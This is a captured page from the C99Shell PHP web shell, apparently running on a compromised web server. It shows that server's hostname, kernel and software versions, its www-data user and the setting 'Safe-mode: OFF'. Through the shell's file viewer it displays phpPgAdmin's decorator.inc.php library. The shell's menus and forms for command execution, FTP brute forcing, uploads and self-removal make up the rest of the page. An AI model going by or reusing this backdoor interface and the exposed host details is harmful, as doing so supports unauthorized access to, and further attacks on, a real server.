!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g. PHP/5.2.4-2ubuntu5.12 

uname -a: Linux forum.circlefusion.com 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/doku/axrepos/axess/phppgadmin/libraries/   drwxrwxr-x
Free 11.19 GB of 97.11 GB (11.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     decorator.inc.php (4.7 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: decorator.inc.php,v 1.6.2.1 2007/04/05 11:11:10 mr-russ Exp $

// This group of functions and classes provides support for
// resolving values in a lazy manner (ie, as and when required)
// using the Decorator pattern.

###TODO: Better documentation!!!

// Compatibility functions:
if (!function_exists('is_a')) {
    function 
is_a($object$class) {
        return 
is_object($object) && get_class($object) == strtolower($class) || is_subclass_of($object$class);
    }
}

// Construction functions:

function field($fieldName$default null) {
    return new 
FieldDecorator($fieldName$default);
}

function 
merge(/* ... */) {
    return new 
ArrayMergeDecorator(func_get_args());
}

function 
concat(/* ... */) {
    return new 
ConcatDecorator(func_get_args());
}

function 
callback($callback$params null) {
    return new 
CallbackDecorator($callback$params);
}

function 
ifempty($value$empty$full null) {
    return new 
IfEmptyDecorator($value$empty$full);
}

function 
url($base$vars null /* ... */) {
    
// If more than one array of vars is given,
    // use an ArrayMergeDecorator to have them merged
    // at value evaluation time.
    
if (func_num_args() > 2) {
        
$v func_get_args();
        
array_shift($v);
        return new 
UrlDecorator($base, new ArrayMergeDecorator($v));
    }
    return new 
UrlDecorator($base$vars);
}

function 
noEscape($value) {
    if (
is_a($value'Decorator')) {
        
$value->esc false;
        return 
$value;
    }
    return new 
Decorator($valuefalse);
}

function 
prepareSQL($sql$params) {
    return new 
PrepareSQL($sql$params);
}

// Resolving functions:

function value(&$var, &$fields$esc null) {
    if (
is_a($var'Decorator')) {
        
$val $var->value($fields);
        if (!
$var->esc$esc null;
    } else {
        
$val =& $var;
    }
    if (
is_string($val)) {
        switch(
$esc) {
            case 
'xml':
                return 
strtr($val, array(
                    
'&' => '&amp;',
                    
"'" => '&apos;''"' => '&quot;',
                    
'<' => '&lt;''>' => '&gt;'
                
));
            case 
'html':
                return 
htmlspecialchars($val);
            case 
'url':
                return 
urlencode($val);
        }
    }
    return 
$val;
}

function 
value_xml(&$var, &$fields) {
    return 
value($var$fields'xml');
}

function 
value_xml_attr($attr, &$var, &$fields) {
    
$val value($var$fields'xml');
    if (!empty(
$val))
        return 
" {$attr}=\"{$val}\"";
    else
        return 
'';
}

function 
value_url(&$var, &$fields) {
    return 
value($var$fields'url');
}

// Underlying classes:

class Decorator
{
    var 
$esc true;
    
    function 
Decorator($value$esc true) {
        
$this->$value;
        
$this->esc $esc;
    }
    
    function 
value($fields) {
        return 
$this->v;
    }
}

class 
FieldDecorator extends Decorator
{
    function 
FieldDecorator($fieldName$default null) {
        
$this->$fieldName;
        if (
$default !== null$this->$default;
    }
    
    function 
value($fields) {
        return isset(
$fields[$this->f]) ? $fields[$this->f] : (isset($this->d) ? $this->null);
    }
}

class 
ArrayMergeDecorator extends Decorator
{
    function 
ArrayMergeDecorator($arrays) {
        
$this->$arrays;
    }
    
    function 
value($fields) {
        
$accum = array();
        foreach(
$this->as $var) {
            
$accum array_merge($accumvalue($var$fields));
        }
        return 
$accum;
    }
}

class 
ConcatDecorator extends Decorator
{
    function 
ConcatDecorator($values) {
        
$this->$values;
    }
    
    function 
value($fields) {
        
$accum '';
        foreach(
$this->as $var) {
            
$accum .= value($var$fields);
        }
        return 
trim($accum);
    }
}

class 
CallbackDecorator extends Decorator
{
    function 
CallbackDecorator($callback$param null) {
        
$this->fn $callback;
        
$this->$param;
    }
    
    function 
value($fields) {
        return 
call_user_func($this->fn$fields$this->p);
    }
}

class 
IfEmptyDecorator extends Decorator
{
    function 
IfEmptyDecorator($value$empty$full null) {
        
$this->$value;
        
$this->$empty;
        if (
$full !== null$this->$full;
    }
    
    function 
value($fields) {
        
$val value($this->v$fields);
        if (empty(
$val))
            return 
value($this->e$fields);
        else
            return isset(
$this->f) ? value($this->f$fields) : $val;
    }
}

class 
UrlDecorator extends Decorator
{
    function 
UrlDecorator($base$queryVars null) {
        
$this->$base;
        if (
$queryVars !== null)
            
$this->$queryVars;
    }
    
    function 
value($fields) {
        
$url value($this->b$fields);
        
        if (
$url === false) return '';
        
        if (!empty(
$this->q)) {
            
$queryVars value($this->q$fields);
            
            
$sep '?';
            foreach (
$queryVars as $var => $value) {
                
$url .= $sep value_url($var$fields) . '=' value_url($value$fields);
                
$sep '&';
            }
        }
        return 
$url;
    }
}

class 
PrepareSQL extends Decorator
{
    function 
PrepareSQL($sql$params) {
        
$this->$sql;
        
$this->$params;
    }

    function 
value($fields) {
        
$req $this->q;
        foreach (
$this->as $k => $v) {
            
$req str_replace($kvalue($v$fields), $req);
        }
        return 
$req;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0098 ]--